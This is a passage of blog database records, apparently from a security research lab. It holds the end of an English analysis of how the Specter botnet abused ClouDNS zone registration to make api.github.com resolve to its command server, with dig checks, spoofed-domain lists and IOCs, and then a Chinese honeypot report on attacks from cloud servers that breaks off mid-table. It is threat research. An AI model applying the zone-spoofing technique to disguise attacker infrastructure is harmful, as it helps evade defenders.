src=\"__GHOST_URL__/content/images/2021/11/specter_dns.png\" width=\"860px\" />\n\nReaders can use the dig command below on their own and see the difference quite clearly by comparing their output.\n```\ndig api.github.com @8.8.8.8\n\ndig api.github.com @85.159.233.158\n```\n\nAt this point the fog clears and the C2 `api.github.com` used by Specter is actually a subdomain under ZONE `github.com` registered with the DNS Hosting provider ClouDNS. As long as the hacker uses the resolution server provided by ClouDNS, the resolution of `api.github.com` can be any IP the hacker picks. \n\nGithub was not hacked, the Specter botnet operator did not enter the wrong C2 domin, our C2 auto-extraction was not buggy, but the white domain api.github.com did indeed become a working C2 domain for this botnet. And this totally legit domain can easily deceive malware analysts and is a great challenge for security tools based on black and white list rules."}],["markdown",{"markdown":"### ClouDNS \n\nGiven the above exploitation process, let’s explore ClouDNS a little bit more here.\n\n[ClouDNS](https://www.cloudns.net/about-us/) is a global managed DNS service provider based in Europe, offering services including GeoDNS, Anycast DNS and DNS DDoS protection.\n\nClouDNS allows arbitrary registration of DNS Zones and the addition of sub-domain resolution. We registered(and later removed after test) a DNS Zone named `nsa.gov`, added a sub-level domain name `test` and resolved to `16.16.16.16`. ClouDNS assigned us 4 Name Servers to resolve this domain name, as shown below.\n\n\nOnce created successfully, the Name Servers assigned by the platform can be used to resolve the domain name we created.\n\n\n\nTheoretically, we can register any Zone on ClouDNS that is not registered or not restricted by ClouDNS, and the aforementioned Specter C2 `api.github.com` is a domain name generated in this way.\n\nNot only that, but ClouDNS also has a \"mysterious logic\" in determining whether a domain is \"registered\" or not. As mentioned earlier, `github.com` was already registered on ClouDNS by the Specter gang, but when we tried to re-register the github.com Zone, we were able to do so, just with a different batch of NSs than the Specter gang, as shown here.\n\n\nSo, ClouDNS supports creating same zones as long as they are on their different NS Servers, this is pretty bizarre behavior.\n\n> In fact, based on our test, not only ClouDNS, but also some other DNS hosting providers, have similar \"vulnerabilities\" in the verification of hosted domains, this is not the topic to be covered in this article though. "}],["markdown",{"markdown":"### Explore ClouDNS Random Registration ZONEs\n\nBased on our own Passive DNS data, we selected the TOP 1M popular second-level domains and did some serious tests. We wanted to find out how many SLDs of domains in the existing DNS system were registered with ClouDNS as new Zones and how many of them could be malicious.\n\nThe results of the probe showed that there were approximately `300` second-level domains that were registered in bad faith. Some of the maliciously registered SLDs in ClouDNS are as follows.\n```\nakadns.net\nonedrive.com\nplivo.com\nsafe.com\nconsalud.cl\ngodaddysites.com\nshopee.com\njsdelivr.net\nafraid.org\nrumahweb.com\nmydomain.com\ncrypto.com\neq.edu.au\nadnxs.com\nwebcindario.com\nweb.com\nlamborghini.com\nmanager-magazin.de\ntoto.com\nmigalhas.com.br\ngoogleadservices.com\nexample.com\ndlink.com\nwhitehouse.gov\ndomain.com\ngooglesyndication.com\nfb.com\npayeer.com\nya.ru\nmql5.com\naaa.com\nhola.com\nwukong.com\nmihanblog.com\nwpengine.com\njumia.ma\nprotonmail.com\ntasnimnews.com\nnintendo.com\ntabnak.ir\nlichess.org\ndigitalocean.com\nasriran.com\namazon.com.br\nakamaized.net\nyjc.ir\noffice.net\n4399.com\nopera.com\nwp.com\nytimg.com\navast.com\ncloudflare.com\nplaystation.com\nhespress.com\nleagueoflegends.com\nwixsite.com\nskype.com\ngooglevideo.com\nwp.pl\nwix.com\nsamsung.com\ndoubleclick.net\nweebly.com\nudemy.com\nspeedtest.net\ngodaddy.com\nzoom.us\nespn.com\nspotify.com\namazonaws.com\nadobe.com\nwordpress.com\napple.com\nmsn.com\ngithub.com\noffice.com\nalipay.com\nnetflix.com\n360.cn\namazon.com\nqq.com\n```\n\nIn addition, we also selected the popular TOP 1M FQDNs across to check against ClouDNS, and the results showed that there are over `300` FQDNs that can generate non-normal resolution in ClouDNS, and after clean up, we found that at least `192` FQDNs are maliciously registered.\n\n"}],["markdown",{"markdown":"### Summary\nWe have yet to see other malicious actors using this technique on a large scale, however, this is an important reminder for us that there are cases of malicious behavior being carried out under the cover of apparently normal network behavior.\n\n### Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n### IOC\n#### Sample MD5\n\n```\n0ffa01708fd0c67c78e9055b8839d24d\n162c245378b2e21bdab6ef35dfaad6b1\n2aec3f06abd677f5f129ddb55d2cde67\n```\n\n#### CC\n\n```\n45.141.70.5\nwww.ibm.com @pns101.cloudns.net\napi.github.com @ns103.cloudns.net\n```"}]],"markups":[],"sections":[[10,0],[10,1],[10,2],[10,3],[10,4],[1,"p",[]]],"ghostVersion":"3.0"} | 6195cd843819e500076361e3 |
post | null | 2021-11-19T06:37:06.000Z | 63873b9a8b1c1e0007f52ff3 | public-cloud-threat-intelligence-202110-bak | 0 | 2021-11-25T03:41:57.000Z | public | draft | null | null | 公有云网络安全威胁情报（202110）：云上关键基础设施对外发起FTP暴力破解攻击 | <h1 id="1-">1 概述</h1><p>云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。</p><p>360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现阿里云上网站“<strong>某市供排水总公司”持续地对外发起</strong>网络攻击行为。</p><h1 id="2-">2 云服务器攻击总体情况</h1><p>由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。</p><p>我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖阿里云、腾讯云、华为云、中国电信天翼云、百度智能云、金山云、亚马逊AWS、微软Azure、谷歌云、Softlayer（IBM云）、Oracle云和Linode云等国内外十几家主流厂商的云服务器IP段列表。</p><h3 id="-ip-">云服务器攻击源IP的时间趋势和空间分布</h3><p>从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。</p><p>在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.113.216的微软Azure云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.134.58的DigitalOcean云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/1.png" class="kg-image" alt loading="lazy"></figure><p>从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/2.png" class="kg-image" alt loading="lazy"></figure><p>位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---IP----202110.png" class="kg-image" alt loading="lazy"></figure><p>本节最后，我们比较各云服务商攻击源IP和攻击会话的数量。阿里云和腾讯云的攻击源IP的数量最多。而DigitalOcean发起攻击的会话数量最多。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/3.png" class="kg-image" alt loading="lazy"></figure><h1 id="3-">3 云服务器上的恶意行为</h1><p>本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。</p><h3 id="-">使用云产品进行攻击</h3><p>使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、控制僵尸网络等。其中，蜜罐技术可以监测到云服务器在互联网上发起密码爆破攻击和传播木马病毒的情况。</p><p>在密码爆破攻击方面，10月份我们共监测到<strong>854个</strong>云服务器源IP发起了<strong>约25.7万次</strong>的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/4.png" class="kg-image" alt loading="lazy"></figure><p>下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址，可以看到DigitalOcean已成为发起爆破攻击的“重灾区”。</p><!--kg-card-begin: html--><div align="center">
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mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">云服务商</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="195" nowrap="" valign="top" style="width:146.2pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">协议</span></b><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt">/</span></b><b><span style="mso-bidi-font-size:12.0pt;
font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:
0pt">端口</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:
bold"><o:p></o:p></span></p>
</td>
<td width="58" nowrap="" valign="top" style="width:43.8pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">143.198.134.58<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">80,714</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">35.204.125.20<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US">Google</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">19,466</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">137.184.204.41<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">16,709</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">161.35.189.11</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7,461</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">139.162.19.30<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">Linode</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">7,340</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">192.81.215.231<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
